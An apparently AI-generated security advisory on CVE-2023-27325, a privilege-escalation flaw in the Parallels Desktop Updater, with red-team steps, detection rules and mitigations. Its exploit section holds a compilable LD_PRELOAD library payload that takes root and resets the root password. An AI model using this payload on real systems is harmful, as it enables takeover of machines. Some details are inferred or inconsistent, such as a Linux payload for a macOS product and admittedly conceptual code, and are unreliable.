CVE-2023-27325

Executive Summary

CVE-2023-27325 is a local privilege escalation vulnerability in Parallels Desktop, specifically within the Updater service. The flaw stems from improper initialization of environment variables, allowing a low-privileged attacker to escalate privileges to root and execute arbitrary code. With a CVSS score of 7.8, this vulnerability poses a significant risk to systems running Parallels Desktop, as it requires only local access and low privileges to exploit. No public proof-of-concept or patch details are currently available, but the vulnerability has been reported via ZDI-CAN-18253.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a desktop application vulnerability specific to Parallels Desktop.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – Requires physical or remote access to the system.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs low-privileged code execution.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Exploit stays within the same security authority.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – Full compromise.

Threat Level: High. The vulnerability allows local privilege escalation to root, enabling full system control.

Deep Dive & Mechanics

The vulnerability resides in the Parallels Desktop Updater service, which runs with elevated privileges. The issue is due to improper initialization of environment variables. When the Updater service starts, it does not properly sanitize or initialize environment variables inherited from the calling process. An attacker with low-privileged code execution can manipulate these environment variables to influence the behavior of the Updater service, leading to arbitrary code execution in the context of root.

Root Cause: The Updater service fails to reset or validate environment variables before executing child processes or loading libraries. This allows an attacker to set variables like LD_PRELOAD (on Linux) or DYLD_INSERT_LIBRARIES (on macOS) to inject malicious code.

Attack Flow:

1. Attacker gains low-privileged access to the target system.
2. Attacker sets malicious environment variables (e.g., LD_PRELOAD pointing to a shared library).
3. Attacker triggers the Parallels Desktop Updater service (e.g., by initiating an update check).
4. The Updater service, running as root, executes a child process or loads a library using the attacker-controlled environment.
5. The malicious code executes with root privileges, granting the attacker full system control.

Vulnerable vs. Patched Code

Since no patch details are available, we can infer the vulnerable pattern:

Vulnerable Code (Conceptual):

// Updater service does not sanitize environment
int main() {
    // ... initialization ...
    system("update_script.sh"); // Inherits attacker's environment
    // ...
}

Patched Code (Conceptual):

// Patched version clears environment
int main() {
    // Clear dangerous environment variables
    unsetenv("LD_PRELOAD");
    unsetenv("DYLD_INSERT_LIBRARIES");
    // ... rest of code ...
    system("update_script.sh"); // Safe now
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running Parallels Desktop (vulnerable version).
• Ability to execute low-privileged code (e.g., via a user account).

Exploit Steps:

1. Create a malicious shared library (e.g., exploit.so on Linux or exploit.dylib on macOS) that executes a payload (e.g., spawning a root shell).
2. Set the environment variable:
   • On Linux: export LD_PRELOAD=/path/to/exploit.so
   • On macOS: export DYLD_INSERT_LIBRARIES=/path/to/exploit.dylib
3. Trigger the Parallels Desktop Updater (e.g., by running prl_update or via GUI).
4. The malicious library loads with root privileges, executing the payload.

Example Payload (Linux):

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn() {
    setuid(0);
    setgid(0);
    system("/bin/bash -c 'echo root:newpassword | chpasswd'");
}

Compile:

gcc -shared -fPIC -o exploit.so exploit.c

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual environment variables set by low-privileged processes, especially LD_PRELOAD or DYLD_INSERT_LIBRARIES.
• Audit Parallels Desktop Updater logs for unexpected behavior.
• Use endpoint detection and response (EDR) tools to detect process injection or privilege escalation attempts.

Mitigation:

• Apply vendor patches when available.
• Restrict local access to trusted users only.
• Use security tools to monitor for environment variable manipulation.

Indicators of Compromise (IOCs)

• File Hashes: (No known samples)
• Process Names: prl_update, Parallels Updater
• Environment Variables: LD_PRELOAD, DYLD_INSERT_LIBRARIES set by non-root processes.
• Network Connections: Outbound connections from the Updater service to unexpected IPs (if payload exfiltrates data).
• Registry/File Changes: Unauthorized modifications to system binaries or startup scripts.

Detection Engineering

YARA Rule

rule CVE_2023_27325_Environment_Manipulation {
    meta:
        description = "Detects attempts to exploit CVE-2023-27325 via environment variable manipulation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27325"
    strings:
        $ld_preload = "LD_PRELOAD" nocase
        $dyld_insert = "DYLD_INSERT_LIBRARIES" nocase
        $parallels_updater = "prl_update" nocase
    condition:
        ($ld_preload or $dyld_insert) and $parallels_updater
}

Sigma Rule

title: CVE-2023-27325 - Parallels Desktop Updater Environment Variable Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects setting of dangerous environment variables before Parallels Updater execution
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/prl_update'
        ParentImage|endswith: '/bash'
    condition: selection
falsepositives:
    - Legitimate use of environment variables by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-27325 - Parallels Desktop Updater Potential Exploit"; flow:to_server; content:"prl_update"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

• Restrict local access to trusted users only.
• Monitor for suspicious environment variable changes.
• Use application whitelisting to prevent unauthorized code execution.

Long-Term Fix:

• Apply vendor patches when released (check Parallels support).
• Update to the latest version of Parallels Desktop.
• Implement security policies to disable the Updater service if not needed.

Workaround:

• Disable the Parallels Desktop Updater service temporarily:

  sudo launchctl unload /Library/LaunchDaemons/com.parallels.desktop.updater.plist
  

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.